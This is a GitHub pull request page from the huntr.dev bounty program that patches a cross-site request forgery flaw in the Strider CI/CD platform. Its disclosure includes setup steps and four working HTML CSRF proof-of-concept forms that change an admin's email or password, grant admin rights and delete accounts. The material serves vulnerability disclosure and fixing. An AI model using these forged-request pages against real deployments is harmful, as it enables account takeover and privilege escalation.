Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev #1121

huntr-helper · 2021-01-14T06:35:38Z

https://huntr.dev/users/arjunshibu has fixed the Cross-site Request Forgery (CSRF) vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

User Comments:

📊 Metadata *

Bounty URL: https://www.huntr.dev/bounties/1-other-strider

⚙️ Description *

Strider is an Open Source Continuous Deployment / Continuous Integration platform. It is written in Node.js and Ember.js and uses MongoDB as a backing store. This platform is vulnerable to Cross-Site Request Forgery (CSRF). It allowes an attacker to takeover accounts, privillege escalation and accounts deletion.

💻 Technical Description *

CSRF Protection is implemented using csurf middleware.

🐛 Proof of Concept (PoC) *

Setup MongoDB
Install the package

git clone https://github.com/Strider-CD/strider.git
cd strider/apps/strider
npm i
node bin/strider addUser # add users accordingly
NODE_ENV=production npm start # start server

Login as admin
Use any of the CSRF POCs

Change email

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/api/account/email" method="POST">
      <input type="hidden" name="email" value="admin2&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Change password

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/api/account/password" method="POST">
      <input type="hidden" name="password" value="hacked" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Privilege escalation

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/admin/make_admin">
      <input type="hidden" name="user" value="user&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Account deletion

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/admin/remove_user" method="POST">
      <input type="hidden" name="email" value="admin&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

🔥 Proof of Fix (PoF) *

Build app

cd strider/apps/strider
npm i
npm run build

Build client

cd strider/clients/classic-ui
npm i
npm run build

Start server

Before fix:

After fix:

👍 User Acceptance Testing (UAT)

I've executed unit tests.
After fix the functionality is unaffected.

Security fix for CSRF in strider

vercel · 2021-01-14T06:35:43Z

This pull request is being automatically deployed with Vercel (learn more).
To see the status of your deployment, click below or on the icon next to each commit.

🔍 Inspect: https://vercel.com/knownasilya1/strider/3121f5wf5
✅ Preview: https://strider-git-fork-418sec-1-other-strider.knownasilya1.vercel.app

knownasilya · 2021-01-14T16:41:10Z

Thanks for this, looks good!

arjunshibu and others added 4 commits December 18, 2020 17:24

Security fix for CSRF in strider

608a9e2

Fix cleaned

65fc4ca

Protection added to other privileged routes

b537518

Merge pull request #1 from arjunshibu/master

9a379f5

Security fix for CSRF in strider

vercel bot deployed to Preview January 14, 2021 06:35 View deployment

knownasilya merged commit 9356dd0 into Strider-CD:master Jan 14, 2021

This was referenced Sep 14, 2022

[Snyk] Security upgrade snyk from 1.316.1 to 1.324.0 HansHammel/strider#34

Open

[Snyk] Security upgrade snyk from 1.316.1 to 1.324.0 HansHammel/strider#35

Open

Bhanditz mentioned this pull request Jan 9, 2023

[Snyk] Fix for 1 vulnerabilities Bhanditz/strider#37

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev #1121

Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev #1121

huntr-helper commented Jan 14, 2021

vercel bot commented Jan 14, 2021 •

edited

Loading

knownasilya commented Jan 14, 2021

Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev #1121

Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev #1121

Conversation

huntr-helper commented Jan 14, 2021

User Comments:

📊 Metadata *

Bounty URL: https://www.huntr.dev/bounties/1-other-strider

⚙️ Description *

💻 Technical Description *

🐛 Proof of Concept (PoC) *

Change email

Change password

Privilege escalation

Account deletion

🔥 Proof of Fix (PoF) *

Before fix:

After fix:

👍 User Acceptance Testing (UAT)

vercel bot commented Jan 14, 2021 • edited Loading

knownasilya commented Jan 14, 2021

vercel bot commented Jan 14, 2021 •

edited

Loading